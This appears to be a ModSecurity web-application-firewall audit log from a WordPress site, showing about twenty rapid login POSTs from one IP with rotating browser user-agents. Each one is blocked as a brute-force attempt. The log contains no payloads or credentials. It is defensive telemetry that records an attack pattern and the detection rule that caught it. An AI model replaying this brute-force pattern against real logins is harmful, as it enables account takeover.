Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313988689321 9739 (- - -)
Stopwatch2: 1789313988689321 9739; combined=16464, p1=239, p2=81, p3=0, p4=0, p5=8199, sr=93, sw=0, l=0, gc=7945
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--614f3055-Z--

--571dfc63-A--
[13/Sep/2026:18:39:49.076721 +0300] aqbDxfut1GUrjaX0wO45LAAAAMY 134.185.87.66 54218 127.0.0.1 7081
--571dfc63-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 94
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0.1
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--571dfc63-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--571dfc63-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313989074740 2061 (- - -)
Stopwatch2: 1789313989074740 2061; combined=661, p1=256, p2=134, p3=0, p4=0, p5=270, sr=100, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--571dfc63-Z--

--8b2c487f-A--
[13/Sep/2026:18:39:49.456941 +0300] aqbDxfut1GUrjaX0wO45LgAAAM4 134.185.87.66 54238 127.0.0.1 7081
--8b2c487f-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 96
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--8b2c487f-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--8b2c487f-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313989455156 1840 (- - -)
Stopwatch2: 1789313989455156 1840; combined=662, p1=283, p2=72, p3=0, p4=0, p5=306, sr=132, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--8b2c487f-Z--

--bd899b70-A--
[13/Sep/2026:18:39:49.835371 +0300] aqbDxfut1GUrjaX0wO45MAAAAMA 134.185.87.66 54260 127.0.0.1 7081
--bd899b70-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 92
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--bd899b70-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--bd899b70-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313989833338 2089 (- - -)
Stopwatch2: 1789313989833338 2089; combined=664, p1=284, p2=95, p3=0, p4=0, p5=285, sr=112, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--bd899b70-Z--

--c6932441-A--
[13/Sep/2026:18:39:50.232744 +0300] aqbDxldqBhgxDSpG7haLHQAAAEU 134.185.87.66 54272 127.0.0.1 7081
--c6932441-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 92
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.2 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--c6932441-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--c6932441-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313990219154 13661 (- - -)
Stopwatch2: 1789313990219154 13661; combined=24264, p1=243, p2=69, p3=0, p4=0, p5=12120, sr=85, sw=0, l=0, gc=11832
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--c6932441-Z--

--cda2211f-A--
[13/Sep/2026:18:39:50.610760 +0300] aqbDxvut1GUrjaX0wO45MwAAANQ 134.185.87.66 54326 127.0.0.1 7081
--cda2211f-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 90
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.1 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--cda2211f-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--cda2211f-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313990609094 1727 (- - -)
Stopwatch2: 1789313990609094 1727; combined=619, p1=248, p2=106, p3=0, p4=0, p5=265, sr=87, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--cda2211f-Z--

--e61fee54-A--
[13/Sep/2026:18:39:51.005897 +0300] aqbDx-ut1GUrjaX0wO45OQAAAMQ 134.185.87.66 54400 127.0.0.1 7081
--e61fee54-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 92
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--e61fee54-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--e61fee54-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313991003918 2034 (- - -)
Stopwatch2: 1789313991003918 2034; combined=786, p1=391, p2=88, p3=0, p4=0, p5=307, sr=139, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--e61fee54-Z--

--d1f55d6e-A--
[13/Sep/2026:18:39:51.389033 +0300] aqbDx0hjHs68UzErry1K5AAAAIY 134.185.87.66 54466 127.0.0.1 7081
--d1f55d6e-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 93
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.2 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--d1f55d6e-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--d1f55d6e-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313991387369 1728 (- - -)
Stopwatch2: 1789313991387369 1728; combined=576, p1=268, p2=86, p3=0, p4=0, p5=222, sr=96, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--d1f55d6e-Z--

--6aaec331-A--
[13/Sep/2026:18:39:51.770125 +0300] aqbDx-ut1GUrjaX0wO45QQAAAMU 134.185.87.66 54500 127.0.0.1 7081
--6aaec331-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 93
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--6aaec331-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--6aaec331-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313991768066 2125 (- - -)
Stopwatch2: 1789313991768066 2125; combined=648, p1=350, p2=80, p3=0, p4=0, p5=218, sr=142, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--6aaec331-Z--

--7754f62f-A--
[13/Sep/2026:18:39:52.150016 +0300] aqbDyPut1GUrjaX0wO45RQAAAM0 134.185.87.66 54524 127.0.0.1 7081
--7754f62f-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 92
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7; rv:89.0) Gecko/20100101 Firefox/89.0.2
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--7754f62f-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--7754f62f-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313992148150 1921 (- - -)
Stopwatch2: 1789313992148150 1921; combined=588, p1=269, p2=81, p3=0, p4=0, p5=238, sr=100, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--7754f62f-Z--

--2323c26e-A--
[13/Sep/2026:18:39:52.547838 +0300] aqbDyPut1GUrjaX0wO45RwAAAM8 134.185.87.66 54538 127.0.0.1 7081
--2323c26e-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 92
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--2323c26e-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--2323c26e-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313992546117 1784 (- - -)
Stopwatch2: 1789313992546117 1784; combined=651, p1=254, p2=69, p3=0, p4=0, p5=328, sr=93, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--2323c26e-Z--

--7456c95a-A--
[13/Sep/2026:18:39:52.932883 +0300] aqbDyPut1GUrjaX0wO45SQAAAME 134.185.87.66 54560 127.0.0.1 7081
--7456c95a-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 91
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--7456c95a-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--7456c95a-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313992931110 1841 (- - -)
Stopwatch2: 1789313992931110 1841; combined=648, p1=256, p2=80, p3=0, p4=0, p5=311, sr=91, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--7456c95a-Z--

--9efaaf47-A--
[13/Sep/2026:18:39:53.325690 +0300] aqbDyRsbgHO3aGL3jiTwxAAAAAQ 134.185.87.66 54580 127.0.0.1 7081
--9efaaf47-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 92
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--9efaaf47-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--9efaaf47-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313993323780 1965 (- - -)
Stopwatch2: 1789313993323780 1965; combined=641, p1=270, p2=114, p3=0, p4=0, p5=256, sr=111, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--9efaaf47-Z--

--f26d3b61-A--
[13/Sep/2026:18:39:53.710075 +0300] aqbDyVdqBhgxDSpG7haLHwAAAEk 134.185.87.66 54600 127.0.0.1 7081
--f26d3b61-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 99
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--f26d3b61-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--f26d3b61-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313993707007 3221 (- - -)
Stopwatch2: 1789313993707007 3221; combined=1136, p1=488, p2=135, p3=0, p4=0, p5=513, sr=160, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--f26d3b61-Z--

--755f822c-A--
[13/Sep/2026:18:39:54.097731 +0300] aqbDyvut1GUrjaX0wO45TQAAAMI 134.185.87.66 54620 127.0.0.1 7081
--755f822c-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 90
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--755f822c-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--755f822c-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313994094524 3373 (- - -)
Stopwatch2: 1789313994094524 3373; combined=1380, p1=586, p2=194, p3=0, p4=0, p5=600, sr=247, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--755f822c-Z--

--6a688857-A--
[13/Sep/2026:18:39:54.508839 +0300] aqbDyvut1GUrjaX0wO45VQAAAMQ 134.185.87.66 54708 127.0.0.1 7081
--6a688857-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 92
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.71 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--6a688857-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--6a688857-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313994507069 1835 (- - -)
Stopwatch2: 1789313994507069 1835; combined=580, p1=218, p2=60, p3=0, p4=0, p5=302, sr=80, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--6a688857-Z--

--d0953216-A--
[13/Sep/2026:18:39:54.920693 +0300] aqbDykhjHs68UzErry1K5wAAAJI 134.185.87.66 54792 127.0.0.1 7081
--d0953216-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 93
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.3 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
